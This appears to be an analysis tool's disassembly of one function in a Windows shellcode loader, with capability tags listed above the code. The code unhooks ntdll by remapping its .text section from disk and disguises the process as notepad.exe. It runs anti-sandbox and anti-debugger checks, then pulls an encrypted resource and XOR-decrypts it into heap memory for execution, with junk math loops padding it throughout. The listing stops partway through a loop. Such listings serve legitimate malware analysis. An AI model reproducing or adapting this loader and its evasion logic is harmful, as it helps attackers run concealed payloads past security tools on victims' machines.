Function at 0x140001450
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Link many functions at runtime
Read file via mapping

Disassembly:
push rbp
push rbx
sub rsp, 0x488
lea rbp, [rsp + 0x80]
movups xmmword [rbp + 0x3f0], xmm6
mov dword [rbp + 0x420], ecx
mov qword [rbp + 0x428], rdx
call fcn.140002de0
lea rax, str.ntdll.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov qword [rbp + 0x378], rax
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov qword [rbp + 0x370], rax
mov dword [rbp + 0x3ec], 0
mov dword [rbp + 0x3e8], 0
mov ecx, 0x638
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x368], rax
mov dword [rbp + 0x3e4], 0
jmp 0x14000154d
call sub.msvcrt.dll_rand
mov edx, dword [rbp + 0x3e4]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x368]
lea r8, [rcx + rdx]
movsxd rdx, eax
imul rdx, rdx, 0xffffffffea0ea0eb
shr rdx, 0x20
add edx, eax
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x23
sub eax, ecx
mov edx, eax
mov dword [r8], edx
mov eax, dword [rbp + 0x3e4]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x368]
add rax, rdx
mov eax, dword [rax]
add dword [rbp + 0x3ec], eax
add dword [rbp + 0x3e4], 1
cmp dword [rbp + 0x3e4], 0x18d
jle 0x1400014df
mov dword [rbp + 0x3e4], 0
jmp 0x1400015d5
pxor xmm6, xmm6
cvtsi2sd xmm6, dword [rbp + 0x3e8]
mov eax, dword [rbp + 0x3e4]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x368]
add rax, rdx
mov eax, dword [rax]
pxor xmm0, xmm0
cvtsi2ss xmm0, eax
subss xmm0, dword [rbp + 0x19c]
pxor xmm3, xmm3
cvtss2sd xmm3, xmm0
movq rax, xmm3
movsd xmm0, qword [0x140006188]
movupd xmm1, xmm0
movq xmm0, rax
call fcn.1400040a0
addsd xmm0, xmm6
cvttsd2si eax, xmm0
mov dword [rbp + 0x3e8], eax
add dword [rbp + 0x3e4], 1
cmp dword [rbp + 0x3e4], 0x18d
jle 0x140001565
pxor xmm0, xmm0
cvtsi2ss xmm0, dword [rbp + 0x3e8]
movss xmm1, dword [0x140006190]
divss xmm0, xmm1
movss dword [rbp + 0x364], xmm0
pxor xmm4, xmm4
cvtss2sd xmm4, dword [rbp + 0x364]
movq rax, xmm4
movq xmm0, rax
call fcn.140003df0
cvtsd2ss xmm0, xmm0
movss dword [rbp + 0x360], xmm0
mov rax, qword [rbp + 0x368]
mov rcx, rax
call sub.msvcrt.dll_free
lea rax, str.ntdll.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov qword [rbp + 0x358], rax
mov ecx, 0x7dc
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x350], rax
mov ecx, 0x7dc
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x348], rax
mov ecx, 0x7dc
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x340], rax
mov ecx, 0x7dc
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x338], rax
mov dword [rbp + 0x3dc], 0x1f6
mov dword [rbp + 0x3e0], 0
jmp 0x140001741
call sub.msvcrt.dll_rand
mov edx, dword [rbp + 0x3e0]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x350]
lea r8, [rcx + rdx]
movsxd rdx, eax
imul rdx, rdx, 0x1b4e81b5
shr rdx, 0x20
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x12c
sub eax, ecx
mov edx, eax
mov dword [r8], edx
call sub.msvcrt.dll_rand
mov edx, dword [rbp + 0x3e0]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x348]
lea r8, [rcx + rdx]
movsxd rdx, eax
imul rdx, rdx, 0x1b4e81b5
shr rdx, 0x20
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x12c
sub eax, ecx
mov edx, eax
mov dword [r8], edx
add dword [rbp + 0x3e0], 1
cmp dword [rbp + 0x3e0], 0x1f6
jle 0x1400016ae
mov dword [rbp + 0x3e0], 0
jmp 0x1400017e0
mov eax, dword [rbp + 0x3dc]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x350]
add rax, rdx
mov edx, dword [rbp + 0x3e0]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x340]
add rdx, rcx
mov eax, dword [rax]
mov dword [rdx], eax
mov eax, dword [rbp + 0x3dc]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x348]
add rax, rdx
mov edx, dword [rbp + 0x3e0]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x338]
add rdx, rcx
mov eax, dword [rax]
mov dword [rdx], eax
sub dword [rbp + 0x3dc], 1
add dword [rbp + 0x3e0], 1
cmp dword [rbp + 0x3e0], 0x1f6
jle 0x140001760
mov rax, qword [rbp + 0x350]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x348]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x340]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x338]
mov rcx, rax
call sub.msvcrt.dll_free
lea rax, str.psapi.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov rcx, rax
lea rax, str.GetModuleInformation
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x3d0], rax
cmp qword [rbp + 0x3d0], 0
jne 0x140001957
pxor xmm0, xmm0
movss dword [rbp + 0x3c8], xmm0
mov dword [rbp + 0x3cc], 0
jmp 0x1400018fb
pxor xmm1, xmm1
cvtsi2sd xmm1, dword [rbp + 0x3cc]
movsd xmm0, qword [0x140006198]
addsd xmm0, xmm1
cvtsd2ss xmm0, xmm0
movups xmm1, xmm0
mov eax, dword [0x1400061a0]
movd xmm0, eax
call fcn.140003dd0
pxor xmm1, xmm1
cvtss2sd xmm1, xmm0
pxor xmm0, xmm0
cvtsi2sd xmm0, dword [rbp + 0x3cc]
addsd xmm0, xmm0
movsd xmm2, qword [0x140006198]
subsd xmm0, xmm2
divsd xmm1, xmm0
pxor xmm0, xmm0
cvtss2sd xmm0, dword [rbp + 0x3c8]
addsd xmm0, xmm1
cvtsd2ss xmm0, xmm0
movss dword [rbp + 0x3c8], xmm0
add dword [rbp + 0x3cc], 1
cmp dword [rbp + 0x3cc], 0x1db
jle 0x140001882
movss xmm1, dword [rbp + 0x3c8]
movss xmm0, dword [0x1400061a4]
mulss xmm0, xmm1
movss dword [rbp + 0x3c8], xmm0
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov rcx, rax
lea rax, str.GetModuleInformation
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x3d0], rax
cmp qword [rbp + 0x3d0], 0
je 0x140001c22
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
lea rdx, [rbp + 0x180]
mov rax, qword [rbp + 0x358]
mov r10, qword [rbp + 0x3d0]
mov r9d, 0x18
mov r8, rdx
mov rdx, rax
call r10
mov rax, qword [rbp + 0x180]
mov qword [rbp + 0x330], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 3
mov r9d, 0
mov r8d, 1
mov edx, 0x80000000
lea rax, str.c:windows_system32_ntdll.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateFileA]
call rax
mov qword [rbp + 0x328], rax
mov rax, qword [rbp + 0x328]
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0x1000002
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateFileMappingA]
call rax
mov qword [rbp + 0x320], rax
mov rax, qword [rbp + 0x320]
mov qword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0
mov edx, 4
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_MapViewOfFile]
call rax
mov qword [rbp + 0x318], rax
mov rax, qword [rbp + 0x330]
mov qword [rbp + 0x310], rax
mov dword [rbp + 0x3c4], 0x1ea
mov dword [rbp + 0x3c0], 0x1fe
jmp 0x140001a99
mov eax, dword [rbp + 0x3c4]
cmp eax, dword [rbp + 0x3c0]
jle 0x140001a92
sub dword [rbp + 0x3c4], 1
jmp 0x140001a99
sub dword [rbp + 0x3c0], 1
cmp dword [rbp + 0x3c4], 0
jg 0x140001a7b
mov rax, qword [rbp + 0x310]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp + 0x330]
add rax, rdx
mov qword [rbp + 0x308], rax
mov word [rbp + 0x3be], 0
jmp 0x140001c0a
mov rax, qword [rbp + 0x308]
movzx eax, word [rax + 0x14]
movzx edx, ax
mov rax, qword [rbp + 0x308]
lea rcx, [rdx + rax]
movzx edx, word [rbp + 0x3be]
mov rax, rdx
shl rax, 2
add rax, rdx
shl rax, 3
add rax, rcx
add rax, 0x18
mov qword [rbp + 0x300], rax
mov rax, qword [rbp + 0x300]
lea rdx, str..text
mov rcx, rax
call sub.msvcrt.dll_strcmp
test eax, eax
jne 0x140001bf9
mov dword [rbp + 0x148], 0
mov rax, qword [rbp + 0x300]
mov eax, dword [rax + 8]
mov edx, eax
mov rax, qword [rbp + 0x300]
mov eax, dword [rax + 0xc]
mov ecx, eax
mov rax, qword [rbp + 0x330]
add rax, rcx
mov rcx, rax
lea rax, [rbp + 0x148]
mov r9, rax
mov r8d, 0x40
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x300]
mov eax, dword [rax + 8]
mov r8d, eax
mov rax, qword [rbp + 0x300]
mov eax, dword [rax + 0xc]
mov edx, eax
mov rax, qword [rbp + 0x318]
add rax, rdx
mov rdx, rax
mov rax, qword [rbp + 0x300]
mov eax, dword [rax + 0xc]
mov ecx, eax
mov rax, qword [rbp + 0x330]
add rax, rcx
mov rcx, rax
call sub.msvcrt.dll_memcpy
mov edx, dword [rbp + 0x148]
mov rax, qword [rbp + 0x300]
mov eax, dword [rax + 8]
mov r10d, eax
mov rax, qword [rbp + 0x300]
mov eax, dword [rax + 0xc]
mov ecx, eax
mov rax, qword [rbp + 0x330]
add rax, rcx
mov rcx, rax
lea rax, [rbp + 0x148]
mov r9, rax
mov r8d, edx
mov rdx, r10
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
movzx eax, word [rbp + 0x3be]
add eax, 1
mov word [rbp + 0x3be], ax
mov rax, qword [rbp + 0x308]
movzx eax, word [rax + 6]
cmp word [rbp + 0x3be], ax
jb 0x140001ace
mov dword [rbp + 0x14c], 0
mov rax, qword [rbp + 0x378]
lea rdx, str.NtQueryInformationProcess
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x2f8], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
lea rdx, [rbp + 0x150]
lea rax, [rbp + 0x14c]
mov qword [rsp + 0x20], rax
mov rax, qword [rbp + 0x2f8]
mov r9d, 0x30
mov r8, rdx
mov edx, 0
call rax
mov rax, qword [rbp + 0x158]
add rax, 0x3c
mov qword [rbp + 0x2f0], rax
mov rax, qword [rbp + 0x2f0]
lea rdx, str.C:_windows_system32_notepad.exe
mov qword [rax + 0x78], rdx
mov rax, qword [rbp + 0x2f0]
lea rdx, str.C:_windows_system32_notepad.exe
mov qword [rax + 0x68], rdx
mov ecx, 0x49e
mov rax, qword [sym.imp.KERNEL32.dll_SetErrorMode]
call rax
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_SetErrorMode]
call rax
cmp eax, 0x49e
jne 0x140002d13
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_SetErrorMode]
call rax
mov qword [rbp + 0x3b0], 0
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov qword [rbp + 0x2e8], rax
cmp qword [rbp + 0x2e8], 0
je 0x140001d7b
mov rax, qword [rbp + 0x2e8]
lea rdx, str.VirtualAllocExNuma
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x2e0], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x40
mov rax, qword [rbp + 0x2e0]
mov r9d, 0x3000
mov r8d, 0x38e
mov edx, 0
call rax
mov qword [rbp + 0x3b0], rax
cmp qword [rbp + 0x3b0], 0
je 0x140002d13
mov dword [rbp + 0x2dc], 0x204
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.GetTickCount
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x2d0], rax
mov rax, qword [rbp + 0x2d0]
call rax
mov dword [rbp + 0x2cc], eax
mov eax, dword [rbp + 0x2dc]
mov edx, 0
mov ecx, eax
mov rax, qword [sym.imp.KERNEL32.dll_SleepEx]
call rax
mov rax, qword [rbp + 0x2d0]
call rax
mov dword [rbp + 0x2c8], eax
mov eax, dword [rbp + 0x2c8]
sub eax, dword [rbp + 0x2cc]
cmp eax, 0x1d2
jbe 0x140002d13
lea rax, str.zttqudrffxjzkjuk.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov qword [rbp + 0x2c0], rax
cmp qword [rbp + 0x2c0], 0
jne 0x140002d13
mov r9d, 0
mov r8d, 0
mov edx, 1
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_CreateEventA]
call rax
mov qword [rbp + 0x2b8], rax
cmp qword [rbp + 0x2b8], 0
je 0x140002d13
mov rax, qword [rbp + 0x2b8]
mov edx, 0x4ab
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
call rax
mov dword [rbp + 0x2b4], eax
mov dword [rbp + 0x2b0], 0x2d5
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.GetTickCount
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x2a8], rax
mov rax, qword [rbp + 0x2a8]
call rax
mov dword [rbp + 0x2a4], eax
mov eax, dword [rbp + 0x2b0]
mov edx, 0
mov ecx, eax
mov rax, qword [sym.imp.KERNEL32.dll_SleepEx]
call rax
mov rax, qword [rbp + 0x2a8]
call rax
mov dword [rbp + 0x2a0], eax
mov eax, dword [rbp + 0x2a0]
sub eax, dword [rbp + 0x2a4]
cmp eax, 0x2a3
jbe 0x140002d13
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.GetTickCount
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x298], rax
mov rax, qword [rbp + 0x298]
call rax
mov dword [rbp + 0x294], eax
mov ecx, 0x3af
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
mov rax, qword [rbp + 0x298]
call rax
mov dword [rbp + 0x290], eax
mov eax, dword [rbp + 0x290]
sub eax, dword [rbp + 0x294]
cmp eax, 0x37d
jbe 0x140002d13
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.OpenProcess
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x288], rax
mov rax, qword [rbp + 0x288]
mov r8d, 4
mov edx, 0
mov ecx, 0x1fffff
call rax
mov qword [rbp + 0x280], rax
cmp qword [rbp + 0x280], 0
jne 0x140002d13
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov qword [rbp + 0x278], rax
cmp qword [rbp + 0x278], 0
je 0x140002037
mov rax, qword [rbp + 0x278]
lea rdx, str.FlsAlloc
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x270], rax
mov rax, qword [rbp + 0x270]
mov ecx, 0
call rax
mov dword [rbp + 0x3ac], eax
cmp dword [rbp + 0x3ac], 0xffffffff
je 0x140002d13
mov dword [rbp + 0x144], 0
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.CheckRemoteDebuggerPresent
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x268], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
lea rax, [rbp + 0x144]
mov r8, qword [rbp + 0x268]
mov rdx, rax
call r8
mov eax, dword [rbp + 0x144]
cmp eax, 1
je 0x140002d13
mov rax, qword [rbp + 0x370]
lea rdx, str.FindResource
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x260], rax
lea rax, str.YTOKCYJOS
movzx eax, ax
mov rdx, rax
mov rax, qword [rbp + 0x260]
lea r8, str.YTOKCYJOS
mov ecx, 0
call rax
mov qword [rbp + 0x258], rax
mov rax, qword [rbp + 0x370]
lea rdx, str.LoadResource
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x250], rax
mov dword [rbp + 0x3a8], 0xffffffff
mov ecx, 0x4f8
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x248], rax
add dword [rbp + 0x3a8], 1
call sub.msvcrt.dll_rand
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x1400061a8]
divsd xmm0, xmm1
addsd xmm0, xmm0
mov eax, dword [rbp + 0x3a8]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x248]
add rax, rdx
movsd xmm1, qword [0x140006198]
subsd xmm0, xmm1
movsd qword [rax], xmm0
mov eax, dword [rbp + 0x3a8]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x248]
add rax, rdx
movsd xmm0, qword [rax]
mov eax, dword [rbp + 0x3a8]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x248]
add rax, rdx
movq xmm1, qword [0x1400061b0]
andpd xmm0, xmm1
movsd qword [rax], xmm0
cmp dword [rbp + 0x3a8], 0x9d
jle 0x140002133
mov rax, qword [rbp + 0x258]
mov r8, qword [rbp + 0x250]
mov rdx, rax
mov ecx, 0
call r8
mov qword [rbp + 0x240], rax
mov rax, qword [rbp + 0x370]
lea rdx, str.SizeofResource
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x238], rax
mov dword [rbp + 0x3a4], 0
jmp 0x1400022a5
call sub.msvcrt.dll_rand
mov edx, eax
movsxd rax, edx
imul rax, rax, 0x6bca1af3
shr rax, 0x20
sar eax, 3
mov ecx, edx
sar ecx, 0x1f
sub eax, ecx
mov dword [rbp + 0x1ac], eax
mov ecx, dword [rbp + 0x1ac]
mov eax, ecx
shl eax, 3
add eax, ecx
add eax, eax
add eax, ecx
sub edx, eax
mov dword [rbp + 0x1ac], edx
call sub.msvcrt.dll_rand
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x1400061a8]
divsd xmm0, xmm1
movq rax, xmm0
mov edx, dword [rbp + 0x1ac]
movq xmm0, rax
call fcn.140003f30
movq rax, xmm0
mov qword [rbp + 0x1a0], rax
add dword [rbp + 0x3a4], 1
cmp dword [rbp + 0x3a4], 0x244
jle 0x140002226
mov rax, qword [rbp + 0x370]
lea rdx, str.HeapCreate
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x230], rax
mov rax, qword [rbp + 0x370]
lea rdx, str.HeapAlloc
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x228], rax
mov rax, qword [rbp + 0x258]
mov r8, qword [rbp + 0x238]
mov rdx, rax
mov ecx, 0
call r8
mov rdx, rax
mov rax, qword [rbp + 0x230]
mov r8d, 0
mov ecx, 0x40000
call rax
mov qword [rbp + 0x220], rax
mov rax, qword [rbp + 0x258]
mov r8, qword [rbp + 0x238]
mov rdx, rax
mov ecx, 0
call r8
mov rdx, rax
mov rax, qword [rbp + 0x220]
mov r9, qword [rbp + 0x228]
mov r8, rdx
mov edx, 8
mov rcx, rax
call r9
mov qword [rbp + 0x218], rax
mov rax, qword [rbp + 0x378]
lea rdx, str.RtlMoveMemory
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x210], rax
mov rax, qword [rbp + 0x258]
mov r8, qword [rbp + 0x238]
mov rdx, rax
mov ecx, 0
call r8
mov rcx, rax
mov rdx, qword [rbp + 0x240]
mov rax, qword [rbp + 0x218]
mov r9, qword [rbp + 0x210]
mov r8, rcx
mov rcx, rax
call r9
mov dword [rbp + 0x39c], 0
mov dword [rbp + 0x398], 0
movabs rax, 0xef4c5fb82ecbcac4
movabs rdx, 0xa96e3199babad84f
mov qword [rbp + 0xc0], rax
mov qword [rbp + 0xc8], rdx
movabs rax, 0x2f9c7906862af3ee
movabs rdx, 0xea6e907e8e9ea278
mov qword [rbp + 0xd0], rax
mov qword [rbp + 0xd8], rdx
movabs rax, 0x30d116e3ccc91a42
movabs rdx, 0xbec1be4308f6f68f
mov qword [rbp + 0xe0], rax
mov qword [rbp + 0xe8], rdx
movabs rax, 0x1f823662053bc1ef
movabs rdx, 0x62bd8070932b222a
mov qword [rbp + 0xf0], rax
mov qword [rbp + 0xf8], rdx
movabs rax, 0x934b371854ca98dc
movabs rdx, 0x3290a7d4f1e34eb4
mov qword [rbp + 0x100], rax
mov qword [rbp + 0x108], rdx
movabs rax, 0x6fed433d9c6e1b59
movabs rdx, 0x2845c6d010decf8d
mov qword [rbp + 0x110], rax
mov qword [rbp + 0x118], rdx
movabs rax, 0x5fb054ddae6f4d83
movabs rdx, 0xf77601f3c3cc55f5
mov qword [rbp + 0x120], rax
mov qword [rbp + 0x128], rdx
movabs rax, 0xa93aae6ba6f77601
movabs rdx, 0x32fe40471f4885
mov qword [rbp + 0x12d], rax
mov qword [rbp + 0x135], rdx
movabs rax, 0x54bf4a493d73f21c
movabs rdx, 0x26bfe322bff15369
mov qword [rbp - 0x40], rax
mov qword [rbp - 0x38], rdx
movabs rax, 0x8393b60b5f29fe99
movabs rdx, 0xa442e9d07b9d22f7
mov qword [rbp - 0x30], rax
mov qword [rbp - 0x28], rdx
movabs rax, 0xdc3bd9fd5a5247b7
movabs rdx, 0xd7a1fd0305933a7
mov qword [rbp - 0x20], rax
mov qword [rbp - 0x18], rdx
movabs rax, 0xb0d95d3be2335692
movabs rdx, 0x69f81939d84c18eb
mov qword [rbp - 0x10], rax
mov qword [rbp - 8], rdx
movabs rax, 0x57a9451cc9a02bff
movabs rdx, 0xd8796f800535a51f
mov qword [rbp], rax
mov qword [rbp + 8], rdx
movabs rax, 0x37f3d1b21ccf6785
movabs rdx, 0x5d49e4dcb2285f23
mov qword [rbp + 0x10], rax
mov qword [rbp + 0x18], rdx
movabs rax, 0x6fd5467bfbe0bae5
movabs rdx, 0x1e9f911e5aa3acd9
mov qword [rbp + 0x20], rax
mov qword [rbp + 0x28], rdx
movabs rax, 0x6032a2e648dd60
mov qword [rbp + 0x30], rax
mov ecx, 0x1990
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x208], rax
mov dword [rbp + 0x394], 0
jmp 0x140002629
call sub.msvcrt.dll_rand
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x1400061a8]
divsd xmm0, xmm1
addsd xmm0, xmm0
mov eax, dword [rbp + 0x394]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x208]
add rax, rdx
movsd xmm1, qword [0x140006198]
subsd xmm0, xmm1
movsd qword [rax], xmm0
add dword [rbp + 0x394], 1
cmp dword [rbp + 0x394], 0x331
jle 0x1400025db
mov dword [rbp + 0x394], 0
jmp 0x140002693
mov eax, dword [rbp + 0x394]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x208]
add rax, rdx
mov rax, qword [rax]
mov edx, dword [rbp + 0x394]
movsxd rdx, edx
lea rcx, [rdx*8]
mov rdx, qword [rbp + 0x208]
lea rbx, [rcx + rdx]
movq xmm0, rax
call sub.msvcrt.dll_asin
movq rax, xmm0
mov qword [rbx], rax
add dword [rbp + 0x394], 1
cmp dword [rbp + 0x394], 0x331
jle 0x140002641
mov ecx, 0x15d0
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x200], rax
mov dword [rbp + 0x390], 0
jmp 0x14000270a
call sub.msvcrt.dll_rand
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x1400061a8]
divsd xmm0, xmm1
addsd xmm0, xmm0
mov eax, dword [rbp + 0x390]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x200]
add rax, rdx
movsd xmm1, qword [0x140006198]
subsd xmm0, xmm1
movsd qword [rax], xmm0
add dword [rbp + 0x390], 1
cmp dword [rbp + 0x390], 0x2b9
jle 0x1400026bc
mov dword [rbp + 0x390], 0
jmp 0x140002771
mov eax, dword [rbp + 0x390]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x200]
add rax, rdx
movsd xmm0, qword [rax]
mov eax, dword [rbp + 0x390]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x200]
add rax, rdx
movq xmm1, qword [0x1400061b0]
andpd xmm0, xmm1
movsd qword [rax], xmm0
add dword [rbp + 0x390], 1
cmp dword [rbp + 0x390], 0x2b9
jle 0x140002722
mov dword [rbp + 0x3a0], 0
jmp 0x140002802
cmp dword [rbp + 0x39c], 0x76
jne 0x1400027c9
mov eax, dword [rbp + 0x3a0]
cdqe
movzx edx, byte [rbp + rax + 0xc0]
mov eax, dword [rbp + 0x39c]
cdqe
movzx eax, byte [rbp + rax - 0x40]
xor edx, eax
mov eax, dword [rbp + 0x3a0]
cdqe
mov byte [rbp + rax + 0x40], dl
mov dword [rbp + 0x39c], 0
jmp 0x1400027fb
mov eax, dword [rbp + 0x3a0]
cdqe
movzx edx, byte [rbp + rax + 0xc0]
mov eax, dword [rbp + 0x39c]
cdqe
movzx eax, byte [rbp + rax - 0x40]
xor edx, eax
mov eax, dword [rbp + 0x3a0]
cdqe
mov byte [rbp + rax + 0x40], dl
add dword [rbp + 0x39c], 1
add dword [rbp + 0x3a0], 1
mov eax, dword [rbp + 0x3a0]
cmp eax, 0x7b
jbe 0x140002789
mov dword [rbp + 0x3a0], 0
jmp 0x1400028bf
cmp dword [rbp + 0x398], 0x7b
jne 0x140002873
mov eax, dword [rbp + 0x3a0]
movsxd rdx, eax
mov rax, qword [rbp + 0x218]
add rax, rdx
movzx r8d, byte [rax]
mov eax, dword [rbp + 0x398]
cdqe
movzx ecx, byte [rbp + rax + 0x40]
mov eax, dword [rbp + 0x3a0]
movsxd rdx, eax
mov rax, qword [rbp + 0x218]
add rax, rdx
mov edx, r8d
xor edx, ecx
mov byte [rax], dl
mov dword [rbp + 0x398], 0
jmp 0x1400028b8
mov eax, dword [rbp + 0x3a0]
movsxd rdx, eax
mov rax, qword [rbp + 0x218]
add rax, rdx
movzx r8d, byte [rax]
mov eax, dword [rbp + 0x398]
cdqe
movzx ecx, byte [rbp + rax + 0x40]
mov eax, dword [rbp + 0x3a0]
movsxd rdx, eax
mov rax, qword [rbp + 0x218]
add rax, rdx
mov edx, r8d
xor edx, ecx
mov byte [rax], dl
add dword [rbp + 0x398], 1
add dword [rbp + 0x3a0], 1
cmp dword [rbp + 0x3a0], 0
js 0x140002820
mov rax, qword [rbp + 0x218]
mov qword [rbp + 0x1f8], rax
mov ecx, 0xb68
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x1f0], rax
mov ecx, 0xb68
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x1e8], rax
mov ecx, 0xb68
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x1e0], rax
mov ecx, 0xb68
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x1d8], rax
mov dword [rbp + 0x388], 0x2d9
mov dword [rbp + 0x38c], 0
jmp 0x140002a43
call sub.msvcrt.dll_rand
mov edx, dword [rbp + 0x38c]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x1f0]
lea r8, [rcx + rdx]
movsxd rdx, eax
imul rdx, rdx, 0x1b4e81b5
shr rdx, 0x20
